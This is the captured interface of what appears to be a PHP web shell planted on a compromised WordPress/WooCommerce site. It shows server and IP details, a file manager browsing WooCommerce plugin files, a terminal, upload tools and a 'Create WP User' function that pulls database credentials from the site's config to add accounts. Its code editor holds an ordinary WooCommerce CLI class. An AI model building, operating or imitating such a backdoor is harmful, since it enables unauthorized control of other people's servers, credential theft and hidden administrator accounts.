Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
CLI
/
Migrator
/
Commands
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
ListCommand.php
2.02 KB
-rw-------
2026-07-02 13:02
ProductsCommand.php
6.68 KB
-rw-r--r--
2026-03-03 00:17
ResetCommand.php
1.94 KB
-rw-r--r--
2026-03-03 00:17
SetupCommand.php
2.05 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
ListCommand.php
<?php declare( strict_types=1 ); namespace Automattic\WooCommerce\Internal\CLI\Migrator\Commands; use Automattic\WooCommerce\Internal\CLI\Migrator\Core\PlatformRegistry; use WP_CLI; /** * Lists all registered migration platforms. */ class ListCommand { /** * The platform registry. * * @var PlatformRegistry */ private PlatformRegistry $platform_registry; /** * Initialize the command with its dependencies. * * @param PlatformRegistry $platform_registry The platform registry. * * @internal */ final public function init( PlatformRegistry $platform_registry ): void { $this->platform_registry = $platform_registry; } /** * Lists all registered migration platforms. * * ## EXAMPLES * * $ wp wc migrate list * * @param array $args The positional arguments (unused). * @param array $assoc_args The associative arguments (unused). * * @return void */ public function __invoke( array $args, array $assoc_args ): void { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed unset( $args, $assoc_args ); $platforms = $this->platform_registry->get_platforms(); if ( empty( $platforms ) ) { WP_CLI::line( 'No migration platforms are registered.' ); return; } $formatted_items = array(); $platform_count = count( $platforms ); $current_index = 0; foreach ( $platforms as $id => $details ) { $formatted_items[] = array( 'id' => $id, 'name' => $details['name'] ?? '', 'fetcher' => $details['fetcher'] ?? '', 'mapper' => $details['mapper'] ?? '', ); // Add separator row between platforms (but not after the last one). ++$current_index; if ( $current_index < $platform_count ) { $formatted_items[] = array( 'id' => str_repeat( '-', 20 ), 'name' => str_repeat( '-', 25 ), 'fetcher' => str_repeat( '-', 30 ), 'mapper' => str_repeat( '-', 30 ), ); } } WP_CLI\Utils\format_items( 'table', $formatted_items, array( 'id', 'name', 'fetcher', 'mapper' ) ); } }
关闭
保存